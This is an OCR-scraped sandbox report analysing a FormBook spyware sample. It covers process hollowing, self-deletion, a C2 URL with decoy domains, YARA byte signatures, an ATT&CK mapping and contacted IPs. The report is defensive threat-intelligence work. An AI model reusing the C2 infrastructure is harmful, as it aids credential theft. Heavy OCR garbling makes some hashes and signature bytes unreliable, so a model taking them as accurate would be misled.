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System Behavior
Analysis Process: Wellis Inquiry.exe PID: 7036 Parent PID: 5404

General
File Activities
File Created
File Written
File Read
Analysis Process: Wellis Inquiry.exe PID: 1680 Parent PID: 7036
General
File Activities
File Read
Analysis Process: explorer.exe PID: 3424 Parent PID: 1680
General
File Activities
Analysis Process: cmmon32.exe PID: 5328 Parent PID: 3424
General
File Activities
File Read
Analysis Process: cmd.exe PID: 7092 Parent PID: 5328
General
File Activities
Analysis Process: conhost.exe PID: 6796 Parent PID: 7092
General

Disassembly
Code Analysis
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Windows Analysis Report Wellis Inquiry.exe

Sample uses process hollowing tech...

Most interesting Screenshot:

Overview
General Information Detection Signatures Classification
Sample Wellis Inquiry.exe
Name: MALICIOUS Found malware configuration
Analysis ID: 502627 Snort IDS alert for network traffic (e....
MDS: c357a8010e661a.. Yara detected FormBook
SHAL:
08ecd005e1449e.. Malicious sample detected (through ...
SHA256: eef137583da6deb. "
Yara detected AntiVM3
Tags: exe
System process connects to networ...
nfos: Qit QY

FormBook Tries to detect sandboxes and other...
Score: 100 Performs DNS queries to.domains w...
Range: 0-100 Self deletion via cmd delete
Whitelisted: false
X .NET source code contains potentia...
Confidence: 100%

Maps a DLL or memory area in .
P

Process Tree

= System is w10x64

o [ Wellis Inquiry.exe (PID: 7036 cmdline: 'C:\Users\user\Desktop\Wellis Inquiry.exe' MD5: C357A8010E661A49DF2E813BD22590B6)
o [ Wellis Inquiry.exe (PID: 1680 cmdline: C:\Users\user\Desktop\Wellis Inquiry.exe MD5: C357A8010E661A49DF2E813BD22590B6)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. g cmmon32.exe (PID: 5328 cmdline: C:\Windows\SysWOW64\cmmon32.exe MD5: 2879B30A164B9F7671B5E6B2E9F8DFDA)
. cmd.exe (PID: 7092 cmdline: /c del 'C:\Users\user\Desktop\Wellis Inquiry.exe’ MD5: F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.psychedeliccosmetics.com/ag9v/"

1,

"decoy": [
"wordmagicshow.com",
"dogparkdate.com",
"quickcarehomeopathic.com”,
"azwar.net",
"louisle1909.xyz",
"section8lv.com",
"felineness.com",
"2888sy.com",
"wadashoot.com”,
"kittyuniverse.com”,
"blushroses.com”,
"alaskangeneral.com”,
"yumoo.design",
"7xkfic.com",
"891827.com",
"uspress1.com”,
"aceserial.xyz",
"muellerconfidence.com”,
"eramakport.com",
"tipsandtoesnewton.com”,
"withph.net",
"kravesproet.quest",
"restaurantemesana.com”,
"ghostpunk.art”,
"cobere9.com",
"darshanshastra.com”,
"barnhsartcrane.com”,
"richartware.com”,
"welcomprom2.com”,
"plantvsundeadhelp.com”,
"hotsatisfy.com",
"fullhindimovies.com",
"beautynaturalcosmeticslk.com”,
"googglo.com",
"hongyang98.com",
"elishevazz.com",
"ebookgratis.online",
"urbanyinyoga.com”,
"sojuicybar.com",
"seheon.email”,
"pokemongosrf.com",
"catchytravel.com",
"stonecoldice.net"”,
"betinle137.com",
"platinumridge.art",
"agoodhotel.com”,
"preventbiotech.com”,
"ebonyslivestockservice.online",
"billionairesboat.com”,
"dollpartyla.com”,
"naufragant.com”,
"cat2628.top",
"{etwatiomlan.quest”,
"soulful-simplicity.com”,
"kalmmed.com",
"luxuryray.com",
"pknox.net",
"687410.com",
"blackmagiccomics.com”,
"usaworkerscorporation.com”,
"ovmfinacial.com",
"marunouchii.com",
"feshwal.com",
"qupontgon.quest"

Yara Overview

Memory Dumps

Source Rule

00000004.00000000.715332371.000000000E4B JoeSecurity_FormBook
9000.00000040.00020000.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000004.00000000.715332371.000000000E4B
9000.00000040.00020000.sdmp

00000004.00000000.715332371.000000000E4B
9000.00000040.00020000.sdmp

Rule Description

Formbook_1

yara-signator

Formbook
memory

00000003.00000002.745846154.0000000001090000.00000 JoeSecurity_FormBook  Yara detected

040.00020000.sdmp

00000003.00000002.745846154.0000000001090000.00000 Formbook_1

040.00020000.sdmp

Unpacked PEs

Source

3.2.Wellis Inquiry.exe.400000.0.raw.unpack

3.2.Wellis Inquiry.exe.400000.0.raw.unpack

3.2.Wellis Inquiry.exe.400000.0.raw.unpack

3.2.Wellis Inquiry.exe.400000.0.unpack

3.2.Wellis Inquiry.exe.400000.0.unpack

Sigma Overview

Copyright Joe Security LLC 2021

FormBook

yara-signator

Click to see the 24 entries

Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook  Yara detected
FormBook

Formbook_1

yara-signator

Click to see the 8 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

autogenerated rule
brought to you by

Author

Felix Bilstein - .
yara-signator at
cocacoding dot
com

e o o o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Author

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o .

e o o o

JPCERT/CC
Incident Response
Group

e o o o o o

Joe Security

Felix Bilstein -
yara-signator at .
cocacoding dot .
com

e o o o

e o o o

Strings

0x46b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox4lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x47b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x6ad9:$sqlite3step: 68 34 1C 7B E1
Ox6bec:$sqlite3step: 68 34 1C 7B E1
0x6b08:$sqlite3text: 68 38 2A 90 C5
0x6c2d:$sqlite3text: 68 38 2A 90 C5
0x6b1b:$sqlite3blob: 68 53 D8 7F 8C
0x6c43:$sqlite3blob: 68 53 D8 7F 8C

e 0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

Strings

0x8608:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x89a2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x146b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x14lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x147b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1492f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x93ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1341c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xal32:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x19ba7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Oxlac4a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x16ad9:$sqlite3step: 68 34 1C 7B E1
0x16bec:$sqlite3step: 68 34 1C 7B E1
0x16b08:$sqlite3text: 68 38 2A 90 C5
0x16c2d:$sqlite3text: 68 38 2A 90 C5
0x16b1b:$sqlite3blob: 68 53 D8 7F 8C
0x16c43:$sqlite3blob: 68 53 D8 7F 8C

e 0x7808:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

0x7ba2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x138b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x133al:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x139b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x13b2f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x85ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1261c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9332:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x18da7:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox19eda:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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No Sigma rule has matched

Jbx Signhature Overview

@ Click to jump to signature section

AV Detection:

]

Found malware configuration

Yara detected FormBook

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected FormBook

]‘

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

]‘]

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

=

Yara detected AntiVM3

HIPS | PFW | Operating System Protection Evasion:

]

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Copyright Joe Security LLC 2021 Page 7 of 29



Remote Access Functionality:

Mitre Att&ck Matrix

Initial
Access

Valid
Accounts

Default
Accounts

Domain
Accounts

Local
Accounts

Cloud
Accounts

Replication
Through
Removable
Media

External
Remote
Services

Drive-by
Compromise

Execution

Shared
Modules

Scheduled
Task/Job

At (Linux)

At
(Windows)

Cron

Launchd

Scheduled
Task

Command
and
Scripting
Interpreter

Privilege
Persistence Escalation
Path Process
Interception  Injection
Boot or Boot or Logon
Logon Initialization
Initialization  Scripts
Scripts

Logon Script
(Windows)

Logon Script
(Windows)

Logon Script
(Mac)

Logon Script
(Mac)

Network
Logon Script

Network Logon
Script

Rc.common Rc.common
Startup Startup Items
Items

Scheduled  Scheduled
Task/Job Task/Job

Behavior Graph
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Defense Evasion

Masquerading

Disable or Modify

Tools

Virtualization/Sandbox

Evasion

Process

Injection

Deobfuscate/Decode
Files or Information

Obfuscated Files or
Information

Software

Packing

File Deletion

Credential
Access
()
Credential
Dumping

LSASS
Memory

Security
Account
Manager

NTDS

LSA
Secrets

Cached
Domain
Credentials

DCSync

Proc
Filesystem

Discovery

Security Software

Discovery

Process Discovery

Virtualization/Sandbox

Evasion

Remote System
Discovery

System Information

Discovery

System Owner/User
Discovery

Network Sniffing

Network Service
Scanning

Lateral
Movement Collection
Remote Archive
Services Collected
Data
Remote Data from
Desktop Removable
Protocol Media
SMB/Windows Data from
Admin Shares Network
Shared
Drive
Distributed Input
Component Capture
Object Model
SSH Keylogging
VNC GUI Input
Capture
Windows Web Portal
Remote Capture
Management
Shared Credential
Webroot API
Hooking

Exfiltration

Exfiltration
Over Other
Network
Medium

Exfiltration
Over
Bluetooth

Automated
Exfiltration

Scheduled
Transfer

Data
Transfer
Size Limits

Exfiltration
Over C2
Channel

Exfiltration
Over
Alternative
Protocol

Exfiltration
Over
Symmetric
Encrypted
Non-C2
Protocol

Yara detected FormBook

Command
and Control

Encrypted
Channel

Ingress Tool
Transfer

Non-
Application
Layer
Protocol

Application
Layer

Protocol

Fallback
Channels

Multiband

Communication

Commonly
Used Port

Application
Layer Protocol

Network
Effects

Eavesdrop ¢
Insecure
Network
Communical

Exploit SS7
Redirect Phc
Calls/SMS

Exploit SS7
Track Devict
Location

SIM Card
Swap

Manipulate
Device
Communical

Jamming or
Denial of
Service

Rogue Wi-Fi
Access Poin

Downgrade
Insecure
Protocols
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Behavior Graph
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Sample:  Welis Inquin-exe
Standate: 14002021
Architecture:  WINDOWS
Score: 100

Process

Signature

Created File

sarted

DNS/IP Info

+EEEC]

Is Dropped

Is Windows Process
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TLI
s
"en

Number of created Files

Y

Visual Basic

zz
3

ms
I8
o
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Delphi

i
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=

Java
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Is malicious
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Internet
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delete
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:
H
i

sarted

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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HH 0 Type here to search i}

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Wellis Inquiry.exe 9% ReversingLabs ByteCode-
MSIL.Spyware.Noon

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
3.2.Wellis Inquiry.exe.400000.0.unpack 100% Avira TR/Crypt.ZPACK.Gen Download File
Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp:/fwww.founder.com.cn/cn/bThe 0% URL Reputation safe
hitp:/fwww.jiyu-kobo.co.jp/a-e 0% URL Reputation safe

Copyright Joe Security LLC 2021 Page 10 of 29



Source Detection Scanner Label Link

http://www.marunouchil.com/agov/? 0% Avira URL Cloud safe
9rq=RZxJGV19NODz6/sPI50rcsjPCmhffOB2cQNSDIXNHIzuAkz3tWy1tz3gnsv2II30KIXw&BFQ=5jI0jhM

HAOhX_

http://www.jiyu-kobo.co.jp/jp/G 0% URL Reputation safe
http://www.aceserial.xyz/ag9v/? 0% Avira URL Cloud safe
9rg=8aghxAEFV3UFLmMLUmMwXrjnry4I18PGHpXxFVOvh2n7b9U9R7NIlya57CFUx9pJqwzlAw7&BFQ=5jI0j

hMHAOhX_

http://www.tiro.com 0% URL Reputation safe
http://www.carterandcone.com/ 0% Avira URL Cloud safe
http://www.typography.net4? 0% Avira URL Cloud safe
http://www.goodfont.co.kr 0% URL Reputation safe
http://www.collada.org/2005/11/COLLADASchema9Done 0% URL Reputation safe
http://www.sajatypeworks.com 0% URL Reputation safe
http://www.typography.netD 0% URL Reputation safe
http://www.founder.com.cn/cn/cThe 0% URL Reputation safe
http://www.galapagosdesign.com/staff/dennis.htm 0% URL Reputation safe
http://fontfabrik.com 0% URL Reputation safe
http://www.carterandcone.comw.m 0% Avira URL Cloud safe
http://www.typography.net 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/jp/i 0% Avira URL Cloud safe
www.psychedeliccosmetics.com/ag9v/ 0% Avira URL Cloud safe
http://www.galapagosdesign.com/DPlease 0% URL Reputation safe
http://www.ascendercorp.com/typedesigners.html 0% URL Reputation safe
http://www.carterandcone.comtal 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/( 0% URL Reputation safe
http://www.sandoll.co.kr 0% URL Reputation safe
http://www.sakkal.comd 0% Avira URL Cloud safe
http://www.urwpp.deDPlease 0% URL Reputation safe
http://www.zhongyicts.com.cn 0% URL Reputation safe
http://www.sakkal.com 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/tu 0% Avira URL Cloud safe
http://www.carterandcone.comf 0% URL Reputation safe
http://www.tiro.comy 0% URL Reputation safe
http://www.typography.netrz 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/G 0% URL Reputation safe
http://www.fontbureau.comion 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/Y03 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/jp/r 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/jp/ 0% URL Reputation safe
http://en.wikip 0% URL Reputation safe
http://www.carterandcone.coml 0% URL Reputation safe
http://www.typography.neth? 0% Avira URL Cloud safe
http://www.founder.com.cn/cn 0% URL Reputation safe
http://www.psychedeliccosmetics.com/ag9v/? 0% Avira URL Cloud safe

9rq=B7neoLnMPG5T4Lg1mgXXW304rycOTDTB8h8f/WhOEZEEcWgrsd/ecy8wgWRxVB11laSvz&BFQ=5
jIOjhMHAOX_

http://www.sakkal.com3 0% Avira URL Cloud safe
http://www.jiyu-kobo.co.jp/ 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/ita 0% Avira URL Cloud safe
http://www.fontbureau.como 0% URL Reputation safe
http://www.jiyu-kobo.co.jp/i 0% URL Reputation safe
http://www.typography.netiv 0% Avira URL Cloud safe
http://www.ovmfinacial.com/ag9v/? 0% Avira URL Cloud safe
9rgq=vpuErUH20WLAPGAItxg3/Zj6XscnxJenLEapnG3NwgRIKVIYylOHnfsKneQfORBHQYbR&BFQ=5jl0jh

MHAOhX_

http://www.tiro.com51 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation

psychedeliccosmetics.com 34.102.136.180 true false unknown

Copyright Joe Security LLC 2021 Page 11 of 29



Name P Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:/fwww.psychedeliccosmetics.com/ag9v/? false e Avira URL Cloud: safe unknown

9rq=B7neoLnMPG5T4Lq1mgXXW304rycOTDTB8h8f/WhOEZEEcWgrsd/ecy8wgWRxVB11aS
vz&BFQ=5jlI0jhMHAOhX_

URLs from Memory and Binaries

Contacted IPs

P Domain Country Flag ASN ASN Name Malicious

15169 GOOGLEUS false

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 502627

Start date: 14.10.2021

Start time: 07:27:31

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 9m 10s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Wellis Inquiry.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 21

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Copyright Joe Security LLC 2021 Page 12 of 29



Number of existing drivers analysed: 0

Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.WinEXE@7/1@9/6
EGA Information: Failed
HDC Information: e Successful, ratio: 14.3% (good quality ratio 13.1%)

e Quality average: 73.4%
e Quality standard deviation: 30.7%

HCA Information: ® Successful, ratio: 100%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

07:28:29 API Interceptor 1x Sleep call for process: Wellis Inquiry.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context

199.59.242.153 Get hash malicious Browse o www.lifes

tyleeve.co
m/o4ms/?X6
1HiLc=8GNZ
fXhxkQPDp/
0Q3wwiQDJ4
fZPKroBOtz
HsTvHUSmqo0
5FSo/HrwX1
9J6840FY+7
hHWk&jHPhI
=5jo4ZxbHw

Get hash malicious Browse * www.gafoo
dstamps.co
m/mexq/?v2
JP=auijtepl
6qRWtANWID
zxdhSPeB9m
p7HWM3P6GC
CjuQrHNTxq
ttOPLCNBNC
H4bMoCm5uR
W&GZ_=4h-T
kZ9hp8gh-
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https://view.joesandbox.com/analysis/394569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.myver
izonbillpa
y.com/hr8n/?
fODDp6RH
=ILCQys4W2
nmi16PHUN3
VKB7/UprAS
8ji7H+tef
UzZaDXaBN/
QiF204GX0U
FNMprHghN&
8pNLu=7nGt
2pBPBx

° www.newyr
oklifeannu
ities.com/x9r4/?
7no=
R48xY&c2Jp
7Bc0=IcZHI
yAd60OHV52M
4P40AC|lfZ
tfIGnVbGUI
MndCBdmn5t
cdEwWHSZ2Mq
solPmB/a4+IEQ

e www.vspfo
tme.com/eods/?
6liXpz
H=EJMYTIsb
PcKMchoi/N
CYrSOukQ1l
cyycXKbirl
JaFNH/FpU7
Xng2HIBKTd
IWJb6tzkCK
&EBPLR=cVn
DMB4HOpL

e wwl.survey-
smiles.com/

o wwil.thefr
eesmsapp.c
om/_tr

e wwl.thefr
eesmsapp.c
om/_tr

o www.burge
ttflorist.
com/scb0/?
3fS4=Ggl5M
tow8RWwWVKM
KBQaBMThn8
Kn2le3rEGw
IGwauHSmKV
NxcFOKD/ko
JDpRpHIi9D
c2a2cTchQ=
=&s4UxHb=V
dWhLdXhd8SL8I

e www.shose
8.com/ergs/?
3fH8bR=W
RNiIMOMNR83
AvUgIMfCXz
TGXalsU3Jz
gni9ehjpnF
XKT45BJtbN
11RpkrODex
HOA0JoG&nX
=XFQHHbDXA
fpTC

e wwl.survey-
smiles.com/
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https://view.joesandbox.com/analysis/393074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid
https://view.joesandbox.com/analysis/386552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386552/html/none?idtype=webid
https://view.joesandbox.com/analysis/386413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386413/html/none?idtype=webid
https://view.joesandbox.com/analysis/386218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386218/html/none?idtype=webid

Match
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Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.anody
nemedicalm
assage.com
leuzn/?GOD
do=ul78RPb
EoFHNEMSTY
SAKyFLEC68
kuAf3hAv/2
v3T+vkoQ4n
sSSLkzGkhP
sJYzpfotw7
8F7bWTQ==
2dod=HL3Tz
luhwhvxcp

e wwl.weird
en.com/

* www.tennc
reative.co
m/b5ce/?C2
M=Rg3Tsdfn
tHWIKNWRmM
LTqgmbmB7G
wns4ujDsoW
9GSorZA7LM
eCjlSo6nAl
ZUc2zUa+Vg
rpSNrw==&2
dtd=2dTpyP
ZX3Tqt_8d0

° www.mammu
tphilippin
es.com/n90q/?-
ZYT=Gi
WrvS/99XrV
+2Uf6Zy/05
YW6c6VUkNO
OHIBSCCHHB
iIFQpS9xb5c
jKCaQXfJL9
QOt00b&IZs
H=3fjpwpD0JdD

o www.rejdd
it.com/ig04/?
0DH8gx3
=3h/Tr838q
cHUz1800M(q
R99bs8cT20
rpSq2e3FqS
tS3XCK7WNK
LX9gCPVSXR
myxelco6kr
JPjWg==&jL3=-
ZrdgHw

e wwi4.onlyg
oodman.com/

e www.salar
tfinance.c
om/t75f/?V
6yLxzHh=IA
ZRVM4hLFtT
WseMMjmTcl
+RZCUPNrUR
FXAmMI9hw9i
0ZHFoSyWAX
J/sXcd8B+V
v3Doaf&bX=
AdotnViORx
tDfRgP

e www.camha
m.co.uk/imm8/?
0ZBd28
E8=JSfa42t
Bag4a3YeMf
phPE2TCUHW
dSJf7yy7ny
CnDPKehtAv
kSRQbSxaf+
1hglsLréSV
j&7n6hj=p2
MtFfu8wa4y
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https://view.joesandbox.com/analysis/384423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384423/html/none?idtype=webid
https://view.joesandbox.com/analysis/383609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383609/html/none?idtype=webid
https://view.joesandbox.com/analysis/383600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383600/html/none?idtype=webid
https://view.joesandbox.com/analysis/382000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382000/html/none?idtype=webid
https://view.joesandbox.com/analysis/381424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381424/html/none?idtype=webid
https://view.joesandbox.com/analysis/379995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379995/html/none?idtype=webid
https://view.joesandbox.com/analysis/379774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379774/html/none?idtype=webid
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid

Match

Domains

Match

parkingpage.namecheap.com

shops.myshopify.com

ASN

Match
SAKURA-CSAKURAInternetincJP
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SHA 256
Get hash
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SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

www.glatt
.store/5afm/?
OFQOvvt
=IMGrtXIs8
RtMHth06d9
4tZTj42tDC
sOeVWPwlqg/
2m+LWjBoF9
Wmh8X/iRtk
tzTqOTwWDwW&
nP=PtUdqsl

Context

198.54.117.210
198.54.117.217
198.54.117.217
198.54.117.218
198.54.117.217
198.54.117.216
198.54.117.210
198.54.117.218
198.54.117.215
198.54.117.218
198.54.117.212
198.54.117.211
198.54.117.218
198.54.117.218
198.54.117.216
198.54.117.215
198.54.117.217
198.54.117.210
198.54.117.210
198.54.117.212
23.227.38.74

23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74
23.227.38.74

Context

160.27.18.218
49.212.179.77
183.181.96.79
183.181.96.120
183.181.96.79
120.136.10.95

210.188.20
1.169
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https://view.joesandbox.com/analysis/375886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/375886/html/none?idtype=webid
https://view.joesandbox.com/analysis/394641/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394641/html/none?idtype=webid
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394163/html/none?idtype=webid
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394003/html/none?idtype=webid
https://view.joesandbox.com/analysis/393968/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393968/html/none?idtype=webid
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393836/html/none?idtype=webid
https://view.joesandbox.com/analysis/393625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393625/html/none?idtype=webid
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393596/html/none?idtype=webid
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393350/html/none?idtype=webid
https://view.joesandbox.com/analysis/393193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393193/html/none?idtype=webid
https://view.joesandbox.com/analysis/393092/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393092/html/none?idtype=webid
https://view.joesandbox.com/analysis/393080/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393080/html/none?idtype=webid
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid
https://view.joesandbox.com/analysis/393040/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393040/html/none?idtype=webid
